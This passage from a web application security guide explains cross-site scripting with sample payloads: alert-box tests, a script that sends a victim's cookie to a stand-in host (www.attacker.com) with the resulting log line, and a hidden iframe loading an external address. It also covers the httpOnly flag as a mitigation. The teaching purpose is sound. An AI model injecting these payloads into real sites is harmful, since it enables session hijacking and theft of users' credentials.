column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.
A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according toTrend Micro.

7.3.2 HTML/JavaScript Injection

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. *Escaping user input is essential*.
Here is the most straightforward test to check for XSS:

```
<script>alert('Hello');</script>
```

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

```
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
```

7.3.2.1 Cookie Theft

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

```
<script>document.write(document.cookie);</script>
```

For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.

```
<script>document.write('<img src="http://www.attacker.com/' +
document.cookie + '">');</script>
```

The log files on www.attacker.com will read like this:

```
GET
http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
```

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

7.3.2.2 Defacement

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:

```
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5
style="display:none"></iframe>
```